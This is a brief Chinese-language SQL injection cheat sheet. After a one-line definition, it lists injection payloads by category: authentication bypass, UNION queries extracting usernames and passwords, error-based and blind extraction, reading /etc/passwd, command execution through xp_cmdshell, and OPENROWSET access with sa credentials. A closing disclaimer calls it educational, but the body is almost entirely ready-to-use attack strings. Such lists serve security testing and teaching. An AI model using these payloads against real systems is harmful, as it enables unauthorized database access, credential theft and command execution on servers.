SQL注入是一种常见的网络安全攻击技术,攻击者通过在应用程序的输入字段中插入恶意的SQL代码,试图操纵后端数据库查询。以下是主要的SQL注入语法类型:
单引号测试:
' OR '1'='1
' OR 1=1 --
注释绕过:
admin' --
admin' /*
admin' #
联合查询注入:
' UNION SELECT 1,2,3 --
' UNION SELECT username, password FROM users --
基于错误的注入:
' AND 1=CONVERT(int, (SELECT table_name FROM information_schema.tables)) --
布尔盲注:
' AND SUBSTRING((SELECT TOP 1 column_name FROM information_schema.columns),1,1)='a' --
时间盲注:
'; IF (SELECT COUNT(*) FROM users WHERE username='admin' AND SUBSTRING(password,1,1)='a') > 0 WAITFOR DELAY '0:0:5' --
' UNION SELECT 1,LOAD_FILE('/etc/passwd'),3,4 --
' UNION SELECT 1,@@version,3,4 --
'; EXEC xp_cmdshell('dir') --
'; SELECT * FROM OPENROWSET('SQLOLEDB', 'server';'sa';'password', 'SELECT * FROM master..sysdatabases') --
' UNION SELECT 1,(SELECT banner FROM v$version WHERE rownum=1),3 FROM dual --
' UNION SELECT 1,current_user,3,4 --
请注意,这些信息仅供教育目的,帮助开发人员和安全专业人员了解SQL注入的工作原理以更好地防御此类攻击。未经授权对系统进行SQL注入测试是非法的。